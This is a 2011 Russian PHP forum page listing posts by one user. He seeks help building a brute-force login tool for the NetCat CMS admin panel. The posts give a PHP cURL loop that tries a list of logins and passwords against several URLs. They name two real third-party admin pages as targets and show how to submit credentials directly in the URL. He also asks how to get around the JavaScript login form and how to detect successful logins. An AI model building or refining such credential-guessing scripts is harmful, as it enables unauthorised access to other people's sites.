PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (27): В начало « ... 15 16 17 18 [19] 20 21 22 23 ... » В конец

> Найдено сообщений: 391
vlados Отправлено: 01 Июля, 2011 - 06:59:17 • Тема: Кодировка • Форум: Кодировки и все смежное

Ответов: 10
Просмотров: 3848
altermann А если это скрипт? И много ссылок разных?
PHP:
скопировать код в буфер обмена
  1. $cod = mb_detect_encoding($data, "Windows-1251,  UTF-8");
  2.  
  3. if($cod==$Windows1251){
  4. $data = iconv("Windows-1251", "UTF-8", "$data");
  5. }else{}
  6.  

Вот таким способом я пытаюсь узнать кодировку и поменять ее, но не получается... В чем ошибка?
После работы скрипта получаетсяНедовольство, огорчениеВсе пароли и логины заменены в разумных целях)
CODE (html):
скопировать код в буфер обмена
  1. False*q  - 0
  2. False*q  - 1
  3. False*q  - 2
  4. False*q  - 3
  5. False*q  - 4
  6. True*q  - 5
  7. True*q  - 6
  8. True*q  - 7
  9. False*q  - 8
  10. True*q  - 9

А должно получится:
CODE (html):
скопировать код в буфер обмена
  1. True*  - 0
  2. True*q  - 1
  3. True*q  - 2
  4. False*q  - 3
  5. True*q  - 4
  6. True*q  - 5
  7. True*q  - 6
  8. True*q  - 7
  9. False*q  - 8
  10. True*q  - 9

Т,е. True означает, что пароль не верный, а False*, что пароль верный.
http://orlovskoe[dot]ru/netcat/admin/
http://eur[dot]rafmedia[dot]ru/netcat/admin/
Вот 2 сайта. Мне кажется, что неправильная работа скрипта вызвана тем, что кодировка разная у сайтов.
Я скачиваю страничку с помощью функции file_get_contents(), а потом ищу "Запомнить логин и пароль", если есть то пароль не верный, если нет, то пароль верный.
vlados Отправлено: 30 Июня, 2011 - 19:59:45 • Тема: IMG SRC и PHP ImageJpeg() - где ошибка? • Форум: Графика в PHP

Ответов: 15
Просмотров: 6157
morph-x меняй хостинг.
vlados Отправлено: 30 Июня, 2011 - 19:36:37 • Тема: Кодировка • Форум: Кодировки и все смежное

Ответов: 10
Просмотров: 3848
OrmaJever есть еще варианты?
(Добавление)
help
(Добавление)
Хммм...
vlados Отправлено: 30 Июня, 2011 - 19:33:16 • Тема: Кодировка • Форум: Кодировки и все смежное

Ответов: 10
Просмотров: 3848
altermann как определить кодировку?
vlados Отправлено: 30 Июня, 2011 - 19:09:23 • Тема: Кодировка • Форум: Кодировки и все смежное

Ответов: 10
Просмотров: 3848
Есть файл HTMl код полученный в результате скачки функцией file_get_contents(), но кодировка там не UTF-8, а какая-то другая, а может и UTF-8. Как преобразовать строку в кодировку UTF-8?
vlados Отправлено: 30 Июня, 2011 - 18:20:45 • Тема: Помогите решить проблему. • Форум: JavaScript & VBScript

Ответов: 18
Просмотров: 3863
Vasiliya сам попробую довести. Наверное. Если ко мне никто случайно сзади Хватит ржать ...
vlados Отправлено: 30 Июня, 2011 - 17:35:51 • Тема: Помогите решить проблему. • Форум: JavaScript & VBScript

Ответов: 18
Просмотров: 3863
CODE (html):
скопировать код в буфер обмена
  1. http://eur.rafmedia.ru/netcat/admin/index.php?AuthPhase=1&AUTH_USER=kkk&AUTH_PW=kkk

Вот так можно войти.
Vasiliya похоже JS у них для красоты.
vlados Отправлено: 30 Июня, 2011 - 16:39:44 • Тема: Помогите решить проблему. • Форум: JavaScript & VBScript

Ответов: 18
Просмотров: 3863
Как войти на этот сайт с помощью PHP?
http://eur[dot]rafmedia[dot]ru/netcat/admin/
vlados Отправлено: 30 Июня, 2011 - 16:14:38 • Тема: Помогите решить проблему. • Форум: JavaScript & VBScript

Ответов: 18
Просмотров: 3863
А можно как-то на форму отправить пароль и логин?
vlados Отправлено: 30 Июня, 2011 - 15:53:45 • Тема: Помогите решить проблему. • Форум: JavaScript & VBScript

Ответов: 18
Просмотров: 3863
Как некоторые из вас знают я создавал брут для NetCat CMS 2.*. Эта версия старая, авторизация на HTML. Но вот я скачал версию 4.5, поставил на денвер, и увидел, что авторизация на JS.
Что теперь делать?
Можно ли как то обойти это?
Вот скрипт отвечающий за прием данных:
CODE (javascript):
скопировать код в буфер обмена
  1.   <script type='text/javascript'>
  2.     function authCheckFields () {
  3.       var authForm = document.getElementById('AUTH_FORM');
  4.       var login = document.getElementById('AUTH_USER');
  5.       var pass = document.getElementById('AUTH_PW');
  6.      
  7.       switch (true) {
  8.         case (login.value == '' && pass.value == ''):
  9.           alert('Поля "Логин" и "Пароль" не могут быть пустыми!');
  10.         break;
  11.         case (login.value == ''):
  12.           alert('Поле "Логин" не может быть пустым!');
  13.         break;
  14.         default:
  15.           authForm.submit();
  16.       }
  17.     }
  18.   </script>

Вот сама форма авторизации:
CODE (html):
скопировать код в буфер обмена
  1.   <form action='/netcat/admin/' method='post' name='AUTH_FORM' id='AUTH_FORM'>
  2.         <input type='hidden' name='AuthPhase' value='1'>
  3.  
  4.   <table border='0' cellpadding='4' cellspacing='0' id="classical" style="display:none;">
  5.     <tr>
  6.       <td colspan="2" class="error">
  7.               </td>
  8.     </tr>
  9.     <tr>
  10.  
  11.             <td>Логин</td>
  12.             <td><input type='text' name='AUTH_USER' id='AUTH_USER' size='32' maxlength='255' value=''></td>
  13.           </tr>
  14.           <tr>
  15.             <td>Пароль</td>
  16.             <td><input type='password' name='AUTH_PW' id='AUTH_PW' size='32' maxlength='255' value=''></td>
  17.           </tr>
  18.           <tr>
  19.  
  20.             <td>Язык</td>
  21.             <td>        <select name='NEW_AUTH_LANG' style='width:100%'><option value='English'>English</option>
  22. <option value='Russian' selected>Russian</option>
  23.   </select></td>
  24.           </tr>
  25.         <tr>
  26.       <td rowspan='2'><img src='/netcat/admin/skins/default/img/i_netcat_big.gif' width='32' height='32' alt='NetCat' title='NetCat'/></td>
  27.  
  28.       <td><label><input type='checkbox' name='loginsave'/>&nbsp;Запомнить логин и пароль</label></td>
  29.     </tr>
  30.     <tr>
  31.       <td>
  32.         <input type='submit' value='Авторизоваться' onclick='authCheckFields(); return false;'>
  33.               </td>
  34.         </tr>
  35. </table>
  36.  

Что делать?
Момогите умы PHP.SU! help
vlados Отправлено: 30 Июня, 2011 - 12:11:40 • Тема: Помогите с циклами • Форум: Работа с сетью

Ответов: 7
Просмотров: 1552
OrmaJever карму обещанную тебе отдал.
(Добавление)
OrmaJever не пали блин правила!
vlados Отправлено: 30 Июня, 2011 - 12:09:41 • Тема: Помогите с циклами • Форум: Работа с сетью

Ответов: 7
Просмотров: 1552
Vasiliya мне брут нафиг не нужен, он нужен прорабу. На netcat защиты от брута 0.
vlados Отправлено: 30 Июня, 2011 - 12:05:33 • Тема: Помогите с циклами • Форум: Работа с сетью

Ответов: 7
Просмотров: 1552
OrmaJever не пишу я. А весь форум помогает Задрал нос
Может поможешь?
(Добавление)
OrmaJever много тем на создавал, т.к. раньше не писал на курл, не писал бруты.
vlados Отправлено: 30 Июня, 2011 - 11:42:24 • Тема: Помогите с циклами • Форум: Работа с сетью

Ответов: 7
Просмотров: 1552
PHP:
скопировать код в буфер обмена
  1. $a = file("url");
  2. $b = file("loginplaspassword");
  3. foreach ($a as $aline) {
  4. foreach ($b as $bline) $aline = trim($aline); $bline = trim($bline);
  5.  
  6. $curl = curl_init();
  7. curl_setopt($curl, CURLOPT_URL, "$aline");
  8. curl_setopt($curl, CURLOPT_POST, "/netcat/admin/ HTTP/1.1");
  9. curl_setopt($curl, CURLOPT_USERAGENT, "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1");
  10. curl_setopt($curl, CURLOPT_COOKIE, "sid=13d05b03e2bf33aa02badf93b4d57a54");
  11. curl_setopt($curl, CURLOPT_POSTFIELDS, "AUTH_USER=$bline&NEW_AUTH_LANG=Russian&submit=%C0%E2%F2%EE%F0%E8%E7%EE%E2%E0%F2%FC%F1%FF&AuthPhase=1");
  12. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  13.  
  14. //admin&AUTH_PW=1234
  15.  
  16. $data = curl_exec($curl);
  17.  
  18. $data = strpos($data, "support@netcat.ru");
  19. if($data==TRUE){echo 1;}
  20. if($data==FALSE){echo "0<br />";}
  21.  
  22. curl_close($curl);
  23. }


Проблема в том, что в url три ссылки, а в loginplaspassword строк штук сто, как исправить, что бы правильно работал, т.е. брал одну ссылку, проходился по всем паролям, потом брал вторую ссылку и тоже проходился по паролям, и так пока не кончатся ссылки.
vlados Отправлено: 30 Июня, 2011 - 11:25:58 • Тема: cURL • Форум: Прочее

Ответов: 13
Просмотров: 92

Вот нашел. Ftp не тормозит курл есть. Есть закос панели управления под cpanel.

Страниц (27): В начало « ... 15 16 17 18 [19] 20 21 22 23 ... » В конец
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB